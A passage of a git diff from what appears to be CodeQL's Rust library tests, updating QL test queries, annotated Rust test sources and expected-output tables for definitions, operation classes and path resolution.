main.rs:8:9:8:13 | value | local variable | +| main.rs:10:41:10:45 | width | main.rs:6:9:6:13 | width | local variable | +| main.rs:10:48:10:56 | precision | main.rs:7:9:7:17 | precision | local variable | +| main.rs:11:21:11:22 | {} | main.rs:11:29:11:33 | value | format argument | +| main.rs:11:24:11:25 | {} | main.rs:11:36:11:40 | width | format argument | +| main.rs:11:29:11:33 | value | main.rs:8:9:8:13 | value | local variable | +| main.rs:11:36:11:40 | width | main.rs:6:9:6:13 | width | local variable | +| main.rs:13:22:13:27 | people | main.rs:12:9:12:14 | people | local variable | +| main.rs:14:16:14:16 | 1 | main.rs:14:34:14:34 | 2 | format argument | +| main.rs:14:19:14:20 | {} | main.rs:14:31:14:31 | 1 | format argument | +| main.rs:14:23:14:23 | 0 | main.rs:14:31:14:31 | 1 | format argument | +| main.rs:14:26:14:27 | {} | main.rs:14:34:14:34 | 2 | format argument | +| main.rs:15:31:15:35 | {:<5} | main.rs:15:40:15:42 | "x" | format argument | +| main.rs:16:13:16:13 | S | main.rs:1:1:1:9 | struct S | path | diff --git a/rust/ql/test/library-tests/definitions/Definitions.ql b/rust/ql/test/library-tests/definitions/Definitions.ql index 021d5f07e4a3..82a128670f4a 100644 --- a/rust/ql/test/library-tests/definitions/Definitions.ql +++ b/rust/ql/test/library-tests/definitions/Definitions.ql @@ -1,5 +1,7 @@ import codeql.rust.internal.Definitions from Definition def, Use use, string kind -where def = definitionOf(use, kind) -select def, use, kind +where + def = definitionOf(use, kind) and + use.fromSource() +select use, def, kind diff --git a/rust/ql/test/library-tests/definitions/main.rs b/rust/ql/test/library-tests/definitions/main.rs index a0ee62882807..bde0b8cb993b 100644 --- a/rust/ql/test/library-tests/definitions/main.rs +++ b/rust/ql/test/library-tests/definitions/main.rs @@ -1,3 +1,7 @@ +struct S; + +mod lib; + fn main() { let width = 4; let precision = 2; @@ -9,4 +13,5 @@ fn main() { println!("Hello {people}!"); println!("{1} {} {0} {}", 1, 2); assert_eq!(format!("Hello {:<5}!", "x"), "Hello x !"); + let x = S; } diff --git a/rust/ql/test/library-tests/frameworks/postgres/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/frameworks/postgres/CONSISTENCY/PathResolutionConsistency.expected index c47d16d68751..0aa771632529 100644 --- a/rust/ql/test/library-tests/frameworks/postgres/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/library-tests/frameworks/postgres/CONSISTENCY/PathResolutionConsistency.expected @@ -1,17 +1,13 @@ -multipleMethodCallTargets -| main.rs:11:5:18:5 | conn.execute(...) | file://:0:0:0:0 | fn execute | -| main.rs:11:5:18:5 | conn.execute(...) | file://:0:0:0:0 | fn execute | -| main.rs:22:5:22:37 | conn.execute(...) | file://:0:0:0:0 | fn execute | -| main.rs:22:5:22:37 | conn.execute(...) | file://:0:0:0:0 | fn execute | -| main.rs:23:5:23:38 | conn.batch_execute(...) | file://:0:0:0:0 | fn batch_execute | -| main.rs:23:5:23:38 | conn.batch_execute(...) | file://:0:0:0:0 | fn batch_execute | -| main.rs:25:5:25:32 | conn.prepare(...) | file://:0:0:0:0 | fn prepare | -| main.rs:25:5:25:32 | conn.prepare(...) | file://:0:0:0:0 | fn prepare | -| main.rs:28:5:28:35 | conn.query(...) | file://:0:0:0:0 | fn query | -| main.rs:28:5:28:35 | conn.query(...) | file://:0:0:0:0 | fn query | -| main.rs:29:5:29:39 | conn.query_one(...) | file://:0:0:0:0 | fn query_one | -| main.rs:29:5:29:39 | conn.query_one(...) | file://:0:0:0:0 | fn query_one | -| main.rs:30:5:30:39 | conn.query_opt(...) | file://:0:0:0:0 | fn query_opt | -| main.rs:30:5:30:39 | conn.query_opt(...) | file://:0:0:0:0 | fn query_opt | -| main.rs:35:17:35:67 | conn.query(...) | file://:0:0:0:0 | fn query | -| main.rs:35:17:35:67 | conn.query(...) | file://:0:0:0:0 | fn query | +multipleCanonicalPaths +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | diff --git a/rust/ql/test/library-tests/operations/Operations.ql b/rust/ql/test/library-tests/operations/Operations.ql index cbb81bdcb025..66c30b50575d 100644 --- a/rust/ql/test/library-tests/operations/Operations.ql +++ b/rust/ql/test/library-tests/operations/Operations.ql @@ -1,5 +1,6 @@ import rust import utils.test.InlineExpectationsTest +import TestUtils string describe(Expr op) { op instanceof Operation and result = "Operation" @@ -13,13 +14,50 @@ string describe(Expr op) { op instanceof LogicalOperation and result = "LogicalOperation" or op instanceof RefExpr and result = "RefExpr" + or + op instanceof ComparisonOperation and result = "ComparisonOperation" + or + op instanceof EqualityOperation and result = "EqualityOperation" + or + op instanceof EqualsOperation and result = "EqualsOperation" + or + op instanceof NotEqualsOperation and result = "NotEqualsOperation" + or + op instanceof RelationalOperation and result = "RelationalOperation" + or + op instanceof LessThanOperation and result = "LessThanOperation" + or + op instanceof GreaterThanOperation and result = "GreaterThanOperation" + or + op instanceof LessOrEqualsOperation and result = "LessOrEqualsOperation" + or + op instanceof GreaterOrEqualsOperation and result = "GreaterOrEqualsOperation" + or + op instanceof ArithmeticOperation and result = "ArithmeticOperation" + or + op instanceof BinaryArithmeticOperation and result = "BinaryArithmeticOperation" + or + op instanceof AssignArithmeticOperation and result = "AssignArithmeticOperation" + or + op instanceof PrefixArithmeticOperation and result = "PrefixArithmeticOperation" + or + op instanceof BitwiseOperation and result = "BitwiseOperation" + or + op instanceof BinaryBitwiseOperation and result = "BinaryBitwiseOperation" + or + op instanceof AssignBitwiseOperation and result = "AssignBitwiseOperation" + or + op instanceof DerefExpr and result = "DerefExpr" } module OperationsTest implements TestSig { - string getARelevantTag() { result = describe(_) or result = ["Op", "Operands"] } + string getARelevantTag() { + result = describe(_) or result = ["Op", "Operands", "Greater", "Lesser"] + } predicate hasActualResult(Location location, string element, string tag, string value) { exists(Expr op | + toBeTested(op) and location = op.getLocation() and location.getFile().getBaseName() != "" and element = op.toString() and @@ -33,6 +71,14 @@ module OperationsTest implements TestSig { op instanceof Operation and tag = "Operands" and value = count(op.(Operation).getAnOperand()).toString() + or + op instanceof RelationalOperation and + tag = "Greater" and + value = op.(RelationalOperation).getGreaterOperand().toString() + or + op instanceof RelationalOperation and + tag = "Lesser" and + value = op.(RelationalOperation).getLesserOperand().toString() ) ) } diff --git a/rust/ql/test/library-tests/operations/test.rs b/rust/ql/test/library-tests/operations/test.rs index f82a9501fef4..c3cde698aa0d 100644 --- a/rust/ql/test/library-tests/operations/test.rs +++ b/rust/ql/test/library-tests/operations/test.rs @@ -11,25 +11,25 @@ fn test_operations( x = y; // $ Operation Op== Operands=2 AssignmentOperation BinaryExpr // comparison operations - x == y; // $ Operation Op=== Operands=2 BinaryExpr - x != y; // $ Operation Op=!= Operands=2 BinaryExpr - x < y; // $ Operation Op=< Operands=2 BinaryExpr - x <= y; // $ Operation Op=<= Operands=2 BinaryExpr - x > y; // $ Operation Op=> Operands=2 BinaryExpr - x >= y; // $ Operation Op=>= Operands=2 BinaryExpr + x == y; // $ Operation Op=== Operands=2 BinaryExpr ComparisonOperation EqualityOperation EqualsOperation + x != y; // $ Operation Op=!= Operands=2 BinaryExpr ComparisonOperation EqualityOperation NotEqualsOperation + x < y; // $ Operation Op=< Operands=2 BinaryExpr ComparisonOperation RelationalOperation LessThanOperation Greater=y Lesser=x + x <= y; // $ Operation Op=<= Operands=2 BinaryExpr ComparisonOperation RelationalOperation LessOrEqualsOperation Greater=y Lesser=x + x > y; // $ Operation Op=> Operands=2 BinaryExpr ComparisonOperation RelationalOperation GreaterThanOperation Greater=x Lesser=y + x >= y; // $ Operation Op=>= Operands=2 BinaryExpr ComparisonOperation RelationalOperation GreaterOrEqualsOperation Greater=x Lesser=y // arithmetic operations - x + y; // $ Operation Op=+ Operands=2 BinaryExpr - x - y; // $ Operation Op=- Operands=2 BinaryExpr - x * y; // $ Operation Op=* Operands=2 BinaryExpr - x / y; // $ Operation Op=/ Operands=2 BinaryExpr - x % y; // $ Operation Op=% Operands=2 BinaryExpr - x += y; // $ Operation Op=+= Operands=2 AssignmentOperation BinaryExpr - x -= y; // $ Operation Op=-= Operands=2 AssignmentOperation BinaryExpr - x *= y; // $ Operation Op=*= Operands=2 AssignmentOperation BinaryExpr - x /= y; // $ Operation Op=/= Operands=2 AssignmentOperation BinaryExpr - x %= y; // $ Operation Op=%= Operands=2 AssignmentOperation BinaryExpr - -x; // $ Operation Op=- Operands=1 PrefixExpr + x + y; // $ Operation Op=+ Operands=2 BinaryExpr ArithmeticOperation BinaryArithmeticOperation + x - y; // $ Operation Op=- Operands=2 BinaryExpr ArithmeticOperation BinaryArithmeticOperation + x * y; // $ Operation Op=* Operands=2 BinaryExpr ArithmeticOperation BinaryArithmeticOperation + x / y; // $ Operation Op=/ Operands=2 BinaryExpr ArithmeticOperation BinaryArithmeticOperation + x % y; // $ Operation Op=% Operands=2 BinaryExpr ArithmeticOperation BinaryArithmeticOperation + x += y; // $ Operation Op=+= Operands=2 AssignmentOperation BinaryExpr ArithmeticOperation AssignArithmeticOperation + x -= y; // $ Operation Op=-= Operands=2 AssignmentOperation BinaryExpr ArithmeticOperation AssignArithmeticOperation + x *= y; // $ Operation Op=*= Operands=2 AssignmentOperation BinaryExpr ArithmeticOperation AssignArithmeticOperation + x /= y; // $ Operation Op=/= Operands=2 AssignmentOperation BinaryExpr ArithmeticOperation AssignArithmeticOperation + x %= y; // $ Operation Op=%= Operands=2 AssignmentOperation BinaryExpr ArithmeticOperation AssignArithmeticOperation + -x; // $ Operation Op=- Operands=1 PrefixExpr ArithmeticOperation PrefixArithmeticOperation // logical operations a && b; // $ Operation Op=&& Operands=2 BinaryExpr LogicalOperation @@ -37,20 +37,20 @@ fn test_operations( !a; // $ Operation Op=! Operands=1 PrefixExpr LogicalOperation // bitwise operations - x & y; // $ Operation Op=& Operands=2 BinaryExpr - x | y; // $ Operation Op=| Operands=2 BinaryExpr - x ^ y; // $ Operation Op=^ Operands=2 BinaryExpr - x << y; // $ Operation Op=<< Operands=2 BinaryExpr - x >> y; // $ Operation Op=>> Operands=2 BinaryExpr - x &= y; // $ Operation Op=&= Operands=2 AssignmentOperation BinaryExpr - x |= y; // $ Operation Op=|= Operands=2 AssignmentOperation BinaryExpr - x ^= y; // $ Operation Op=^= Operands=2 AssignmentOperation BinaryExpr - x <<= y; // $ Operation Op=<<= Operands=2 AssignmentOperation BinaryExpr - x >>= y; // $ Operation Op=>>= Operands=2 AssignmentOperation BinaryExpr + x & y; // $ Operation Op=& Operands=2 BinaryExpr BitwiseOperation BinaryBitwiseOperation + x | y; // $ Operation Op=| Operands=2 BinaryExpr BitwiseOperation BinaryBitwiseOperation + x ^ y; // $ Operation Op=^ Operands=2 BinaryExpr BitwiseOperation BinaryBitwiseOperation + x << y; // $ Operation Op=<< Operands=2 BinaryExpr BitwiseOperation BinaryBitwiseOperation + x >> y; // $ Operation Op=>> Operands=2 BinaryExpr BitwiseOperation BinaryBitwiseOperation + x &= y; // $ Operation Op=&= Operands=2 AssignmentOperation BinaryExpr BitwiseOperation AssignBitwiseOperation + x |= y; // $ Operation Op=|= Operands=2 AssignmentOperation BinaryExpr BitwiseOperation AssignBitwiseOperation + x ^= y; // $ Operation Op=^= Operands=2 AssignmentOperation BinaryExpr BitwiseOperation AssignBitwiseOperation + x <<= y; // $ Operation Op=<<= Operands=2 AssignmentOperation BinaryExpr BitwiseOperation AssignBitwiseOperation + x >>= y; // $ Operation Op=>>= Operands=2 AssignmentOperation BinaryExpr BitwiseOperation AssignBitwiseOperation // miscellaneous expressions that might be operations - *ptr; // $ Operation Op=* Operands=1 PrefixExpr - &x; // $ RefExpr + *ptr; // $ Operation Op=* Operands=1 PrefixExpr DerefExpr + &x; // $ Operation Op=& Operands=1 RefExpr MISSING: PrefixExpr res?; return Ok(()); diff --git a/rust/ql/test/library-tests/path-resolution/main.rs b/rust/ql/test/library-tests/path-resolution/main.rs index 1179f2f7b589..ce44915a9d4b 100644 --- a/rust/ql/test/library-tests/path-resolution/main.rs +++ b/rust/ql/test/library-tests/path-resolution/main.rs @@ -75,7 +75,7 @@ fn i() { { struct Foo { - x: i32, + x: i32, // $ item=i32 } // I30 let _ = Foo { x: 0 }; // $ item=I30 @@ -121,9 +121,13 @@ mod m6 { mod m7 { pub enum MyEnum { - A(i32), // I42 - B { x: i32 }, // I43 - C, // I44 + A( + i32, // $ item=i32 + ), // I42 + B { + x: i32, // $ item=i32 + }, // I43 + C, // I44 } // I41 #[rustfmt::skip] @@ -606,8 +610,8 @@ mod m24 { let impl_obj = Implementor; // $ item=I118 let generic = GenericStruct { data: impl_obj }; // $ item=I115 - generic.call_trait_a(); // $ MISSING: item=I116 - generic.call_both(); // $ MISSING: item=I117 + generic.call_trait_a(); // $ item=I116 + generic.call_both(); // $ item=I117 // Access through where clause type parameter constraint GenericStruct::::call_trait_a(&generic); // $ item=I116 item=I118 diff --git a/rust/ql/test/library-tests/path-resolution/my.rs b/rust/ql/test/library-tests/path-resolution/my.rs index 8a94c169f6fe..3d7b150214aa 100644 --- a/rust/ql/test/library-tests/path-resolution/my.rs +++ b/rust/ql/test/library-tests/path-resolution/my.rs @@ -16,21 +16,21 @@ mod my4 { } pub use my4::my5::f as nested_f; // $ item=I201 - +#[rustfmt::skip] type Result< T, // T > = ::std::result::Result< T, // $ item=T - String, ->; // my::Result + String,> // $ item=Result +; // my::Result fn int_div( - x: i32, // - y: i32, -) -> Result // $ item=my::Result + x: i32, // $ item=i32 + y: i32, // $ item=i32 +) -> Result // $ item=my::Result $ item=i32 { if y == 0 { - return Err("Div by zero".to_string()); + return Err("Div by zero".to_string()); // $ item=Err } - Ok(x / y) + Ok(x / y) // $ item=Ok } diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 90af94e91d00..054905f39096 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -1,4 +1,3 @@ -testFailures mod | lib.rs:1:1:1:7 | mod my | | main.rs:1:1:1:7 | mod my | @@ -9,26 +8,26 @@ mod | main.rs:39:1:46:1 | mod m4 | | main.rs:103:1:107:1 | mod m5 | | main.rs:109:1:120:1 | mod m6 | -| main.rs:122:1:137:1 | mod m7 | -| main.rs:139:1:193:1 | mod m8 | -| main.rs:195:1:203:1 | mod m9 | -| main.rs:205:1:224:1 | mod m10 | -| main.rs:226:1:263:1 | mod m11 | -| main.rs:236:5:236:12 | mod f | -| main.rs:265:1:277:1 | mod m12 | -| main.rs:279:1:292:1 | mod m13 | -| main.rs:283:5:291:5 | mod m14 | -| main.rs:294:1:348:1 | mod m15 | -| main.rs:350:1:442:1 | mod m16 | -| main.rs:444:1:474:1 | mod m17 | -| main.rs:476:1:494:1 | mod m18 | -| main.rs:481:5:493:5 | mod m19 | -| main.rs:486:9:492:9 | mod m20 | -| main.rs:496:1:521:1 | mod m21 | -| main.rs:497:5:503:5 | mod m22 | -| main.rs:505:5:520:5 | mod m33 | -| main.rs:523:1:548:1 | mod m23 | -| main.rs:550:1:618:1 | mod m24 | +| main.rs:122:1:141:1 | mod m7 | +| main.rs:143:1:197:1 | mod m8 | +| main.rs:199:1:207:1 | mod m9 | +| main.rs:209:1:228:1 | mod m10 | +| main.rs:230:1:267:1 | mod m11 | +| main.rs:240:5:240:12 | mod f | +| main.rs:269:1:281:1 | mod m12 | +| main.rs:283:1:296:1 | mod m13 | +| main.rs:287:5:295:5 | mod m14 | +| main.rs:298:1:352:1 | mod m15 | +| main.rs:354:1:446:1 | mod m16 | +| main.rs:448:1:478:1 | mod m17 | +| main.rs:480:1:498:1 | mod m18 | +| main.rs:485:5:497:5 | mod m19 | +| main.rs:490:9:496:9 | mod m20 | +| main.rs:500:1:525:1 | mod m21 | +| main.rs:501:5:507:5 | mod m22 | +| main.rs:509:5:524:5 | mod m33 | +| main.rs:527:1:552:1 | mod m23 | +| main.rs:554:1:622:1 | mod m24 | | my2/mod.rs:1:1:1:16 | mod nested2 | | my2/mod.rs:12:1:12:12 | mod my3 | | my2/mod.rs:14:1:15:10 | mod mymod | @@ -62,7 +61,7 @@ resolvePath | main.rs:30:17:30:21 | super | main.rs:18:5:36:5 | mod m2 | | main.rs:30:17:30:24 | ...::f | main.rs:19:9:21:9 | fn f | | main.rs:33:17:33:17 | f | main.rs:19:9:21:9 | fn f | -| main.rs:40:9:40:13 | super | main.rs:1:1:649:2 | SourceFile | +| main.rs:40:9:40:13 | super | main.rs:1:1:653:2 | SourceFile | | main.rs:40:9:40:17 | ...::m1 | main.rs:13:1:37:1 | mod m1 | | main.rs:40:9:40:21 | ...::m2 | main.rs:18:5:36:5 | mod m2 | | main.rs:40:9:40:24 | ...::g | main.rs:23:9:27:9 | fn g | @@ -74,9 +73,10 @@ resolvePath | main.rs:61:17:61:19 | Foo | main.rs:59:9:59:21 | struct Foo | | main.rs:64:13:64:15 | Foo | main.rs:53:5:53:17 | struct Foo | | main.rs:66:5:66:5 | f | main.rs:55:5:62:5 | fn f | -| main.rs:68:5:68:8 | self | main.rs:1:1:649:2 | SourceFile | +| main.rs:68:5:68:8 | self | main.rs:1:1:653:2 | SourceFile | | main.rs:68:5:68:11 | ...::i | main.rs:71:1:83:1 | fn i | | main.rs:74:13:74:15 | Foo | main.rs:48:1:48:13 | struct Foo | +| main.rs:78:16:78:18 | i32 | {EXTERNAL LOCATION} | struct i32 | | main.rs:81:17:81:19 | Foo | main.rs:77:9:79:9 | struct Foo | | main.rs:85:5:85:7 | my2 | main.rs:7:1:7:8 | mod my2 | | main.rs:85:5:85:16 | ...::nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | @@ -88,241 +88,243 @@ resolvePath | main.rs:87:57:87:66 | ...::g | my2/nested2.rs:7:9:9:9 | fn g | | main.rs:87:80:87:86 | nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | | main.rs:100:5:100:22 | f_defined_in_macro | main.rs:99:18:99:42 | fn f_defined_in_macro | -| main.rs:117:13:117:17 | super | main.rs:1:1:649:2 | SourceFile | +| main.rs:117:13:117:17 | super | main.rs:1:1:653:2 | SourceFile | | main.rs:117:13:117:21 | ...::m5 | main.rs:103:1:107:1 | mod m5 | | main.rs:118:9:118:9 | f | main.rs:104:5:106:5 | fn f | | main.rs:118:9:118:9 | f | main.rs:110:5:112:5 | fn f | -| main.rs:130:19:130:24 | MyEnum | main.rs:123:5:127:5 | enum MyEnum | -| main.rs:133:17:133:22 | MyEnum | main.rs:123:5:127:5 | enum MyEnum | -| main.rs:133:17:133:25 | ...::A | main.rs:124:9:124:14 | A | -| main.rs:134:17:134:22 | MyEnum | main.rs:123:5:127:5 | enum MyEnum | -| main.rs:134:17:134:25 | ...::B | main.rs:124:23:125:20 | B | -| main.rs:135:9:135:14 | MyEnum | main.rs:123:5:127:5 | enum MyEnum | -| main.rs:135:9:135:17 | ...::C | main.rs:125:23:126:9 | C | -| main.rs:145:13:145:13 | f | main.rs:152:5:154:5 | fn f | -| main.rs:146:13:146:16 | Self | main.rs:140:5:148:5 | trait MyTrait | -| main.rs:146:13:146:19 | ...::f | main.rs:141:9:141:20 | fn f | -| main.rs:157:10:157:16 | MyTrait | main.rs:140:5:148:5 | trait MyTrait | -| main.rs:157:22:157:29 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:160:13:160:13 | f | main.rs:152:5:154:5 | fn f | -| main.rs:161:13:161:16 | Self | main.rs:156:5:167:5 | impl MyTrait for MyStruct { ... } | -| main.rs:161:13:161:19 | ...::g | main.rs:164:9:166:9 | fn g | -| main.rs:170:10:170:17 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:173:13:173:13 | f | main.rs:152:5:154:5 | fn f | -| main.rs:179:17:179:24 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:180:9:180:15 | MyTrait | main.rs:140:5:148:5 | trait MyTrait | -| main.rs:180:9:180:18 | ...::f | main.rs:141:9:141:20 | fn f | -| main.rs:181:9:181:16 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:181:9:181:19 | ...::f | main.rs:157:33:162:9 | fn f | -| main.rs:182:10:182:17 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:183:10:183:16 | MyTrait | main.rs:140:5:148:5 | trait MyTrait | -| main.rs:186:17:186:24 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:188:17:188:24 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:190:9:190:16 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:190:9:190:19 | ...::h | main.rs:170:21:174:9 | fn h | -| main.rs:199:19:199:22 | self | main.rs:195:1:203:1 | mod m9 | -| main.rs:199:19:199:32 | ...::MyStruct | main.rs:196:5:196:26 | struct MyStruct | -| main.rs:201:9:201:12 | self | main.rs:195:1:203:1 | mod m9 | -| main.rs:201:9:201:22 | ...::MyStruct | main.rs:196:5:196:26 | struct MyStruct | -| main.rs:211:12:211:12 | T | main.rs:208:7:208:7 | T | -| main.rs:216:12:216:12 | T | main.rs:215:14:215:14 | T | -| main.rs:218:7:220:7 | MyStruct::<...> | main.rs:206:5:212:5 | struct MyStruct | -| main.rs:219:9:219:9 | T | main.rs:215:14:215:14 | T | -| main.rs:222:9:222:16 | MyStruct | main.rs:206:5:212:5 | struct MyStruct | -| main.rs:232:17:232:19 | Foo | main.rs:227:5:227:21 | struct Foo | -| main.rs:233:9:233:11 | Foo | main.rs:229:5:229:15 | fn Foo | -| main.rs:242:9:242:11 | Bar | main.rs:238:5:240:5 | enum Bar | -| main.rs:242:9:242:19 | ...::FooBar | main.rs:239:9:239:17 | FooBar | -| main.rs:247:13:247:15 | Foo | main.rs:227:5:227:21 | struct Foo | -| main.rs:248:17:248:22 | FooBar | main.rs:239:9:239:17 | FooBar | -| main.rs:249:17:249:22 | FooBar | main.rs:244:5:244:18 | fn FooBar | -| main.rs:257:9:257:9 | E | main.rs:252:15:255:5 | enum E | -| main.rs:257:9:257:12 | ...::C | main.rs:254:9:254:9 | C | -| main.rs:260:17:260:17 | S | main.rs:252:5:252:13 | struct S | -| main.rs:261:17:261:17 | C | main.rs:254:9:254:9 | C | -| main.rs:274:16:274:16 | T | main.rs:268:7:268:7 | T | -| main.rs:275:14:275:17 | Self | main.rs:266:5:276:5 | trait MyParamTrait | -| main.rs:275:14:275:33 | ...::AssociatedType | main.rs:270:9:270:28 | type AssociatedType | -| main.rs:284:13:284:17 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | -| main.rs:284:13:284:22 | ...::m13 | main.rs:279:1:292:1 | mod m13 | -| main.rs:284:13:284:25 | ...::f | main.rs:280:5:280:17 | fn f | -| main.rs:284:13:284:25 | ...::f | main.rs:280:19:281:19 | struct f | -| main.rs:287:17:287:17 | f | main.rs:280:19:281:19 | struct f | -| main.rs:288:21:288:21 | f | main.rs:280:19:281:19 | struct f | -| main.rs:289:13:289:13 | f | main.rs:280:5:280:17 | fn f | -| main.rs:303:9:303:14 | Trait1 | main.rs:295:5:299:5 | trait Trait1 | -| main.rs:306:13:306:16 | Self | main.rs:301:5:309:5 | trait Trait2 | -| main.rs:306:13:306:19 | ...::g | main.rs:298:9:298:20 | fn g | -| main.rs:314:10:314:15 | Trait1 | main.rs:295:5:299:5 | trait Trait1 | -| main.rs:315:11:315:11 | S | main.rs:311:5:311:13 | struct S | -| main.rs:318:13:318:16 | Self | main.rs:313:5:325:5 | impl Trait1 for S { ... } | -| main.rs:318:13:318:19 | ...::g | main.rs:322:9:324:9 | fn g | -| main.rs:328:10:328:15 | Trait2 | main.rs:301:5:309:5 | trait Trait2 | -| main.rs:329:11:329:11 | S | main.rs:311:5:311:13 | struct S | -| main.rs:338:17:338:17 | S | main.rs:311:5:311:13 | struct S | -| main.rs:339:10:339:10 | S | main.rs:311:5:311:13 | struct S | -| main.rs:340:14:340:19 | Trait1 | main.rs:295:5:299:5 | trait Trait1 | -| main.rs:342:10:342:10 | S | main.rs:311:5:311:13 | struct S | -| main.rs:343:14:343:19 | Trait2 | main.rs:301:5:309:5 | trait Trait2 | -| main.rs:345:9:345:9 | S | main.rs:311:5:311:13 | struct S | -| main.rs:345:9:345:12 | ...::g | main.rs:322:9:324:9 | fn g | -| main.rs:355:24:355:24 | T | main.rs:353:7:353:7 | T | -| main.rs:357:24:357:24 | T | main.rs:353:7:353:7 | T | -| main.rs:360:24:360:24 | T | main.rs:353:7:353:7 | T | -| main.rs:361:13:361:16 | Self | main.rs:351:5:367:5 | trait Trait1 | -| main.rs:361:13:361:19 | ...::g | main.rs:357:9:358:9 | fn g | -| main.rs:365:18:365:18 | T | main.rs:353:7:353:7 | T | -| main.rs:373:9:375:9 | Trait1::<...> | main.rs:351:5:367:5 | trait Trait1 | -| main.rs:374:11:374:11 | T | main.rs:371:7:371:7 | T | -| main.rs:376:24:376:24 | T | main.rs:371:7:371:7 | T | -| main.rs:378:13:378:16 | Self | main.rs:369:5:382:5 | trait Trait2 | -| main.rs:378:13:378:19 | ...::g | main.rs:357:9:358:9 | fn g | -| main.rs:380:13:380:16 | Self | main.rs:369:5:382:5 | trait Trait2 | -| main.rs:380:13:380:19 | ...::c | main.rs:365:9:366:9 | Const | -| main.rs:387:10:389:5 | Trait1::<...> | main.rs:351:5:367:5 | trait Trait1 | -| main.rs:388:7:388:7 | S | main.rs:384:5:384:13 | struct S | -| main.rs:390:11:390:11 | S | main.rs:384:5:384:13 | struct S | -| main.rs:391:24:391:24 | S | main.rs:384:5:384:13 | struct S | -| main.rs:393:13:393:16 | Self | main.rs:386:5:404:5 | impl Trait1::<...> for S { ... } | -| main.rs:393:13:393:19 | ...::g | main.rs:397:9:400:9 | fn g | -| main.rs:397:24:397:24 | S | main.rs:384:5:384:13 | struct S | -| main.rs:399:13:399:16 | Self | main.rs:386:5:404:5 | impl Trait1::<...> for S { ... } | -| main.rs:399:13:399:19 | ...::c | main.rs:402:9:403:9 | Const | -| main.rs:402:18:402:18 | S | main.rs:384:5:384:13 | struct S | -| main.rs:402:22:402:22 | S | main.rs:384:5:384:13 | struct S | -| main.rs:407:10:409:5 | Trait2::<...> | main.rs:369:5:382:5 | trait Trait2 | -| main.rs:408:7:408:7 | S | main.rs:384:5:384:13 | struct S | -| main.rs:410:11:410:11 | S | main.rs:384:5:384:13 | struct S | -| main.rs:411:24:411:24 | S | main.rs:384:5:384:13 | struct S | -| main.rs:413:13:413:16 | Self | main.rs:406:5:415:5 | impl Trait2::<...> for S { ... } | -| main.rs:420:17:420:17 | S | main.rs:384:5:384:13 | struct S | -| main.rs:421:10:421:10 | S | main.rs:384:5:384:13 | struct S | -| main.rs:422:14:424:11 | Trait1::<...> | main.rs:351:5:367:5 | trait Trait1 | -| main.rs:423:13:423:13 | S | main.rs:384:5:384:13 | struct S | -| main.rs:426:10:426:10 | S | main.rs:384:5:384:13 | struct S | -| main.rs:427:14:429:11 | Trait2::<...> | main.rs:369:5:382:5 | trait Trait2 | -| main.rs:428:13:428:13 | S | main.rs:384:5:384:13 | struct S | -| main.rs:431:9:431:9 | S | main.rs:384:5:384:13 | struct S | -| main.rs:431:9:431:12 | ...::g | main.rs:397:9:400:9 | fn g | -| main.rs:433:9:433:9 | S | main.rs:384:5:384:13 | struct S | -| main.rs:433:9:433:12 | ...::h | main.rs:360:9:363:9 | fn h | -| main.rs:435:9:435:9 | S | main.rs:384:5:384:13 | struct S | -| main.rs:435:9:435:12 | ...::c | main.rs:402:9:403:9 | Const | -| main.rs:436:10:436:10 | S | main.rs:384:5:384:13 | struct S | -| main.rs:437:14:439:11 | Trait1::<...> | main.rs:351:5:367:5 | trait Trait1 | -| main.rs:438:13:438:13 | S | main.rs:384:5:384:13 | struct S | -| main.rs:452:10:452:16 | MyTrait | main.rs:445:5:447:5 | trait MyTrait | -| main.rs:453:9:453:9 | S | main.rs:449:5:449:13 | struct S | -| main.rs:461:7:461:13 | MyTrait | main.rs:445:5:447:5 | trait MyTrait | -| main.rs:462:10:462:10 | T | main.rs:460:10:460:10 | T | -| main.rs:464:9:464:9 | T | main.rs:460:10:460:10 | T | -| main.rs:464:9:464:12 | ...::f | main.rs:446:9:446:20 | fn f | -| main.rs:465:9:465:15 | MyTrait | main.rs:445:5:447:5 | trait MyTrait | -| main.rs:465:9:465:18 | ...::f | main.rs:446:9:446:20 | fn f | -| 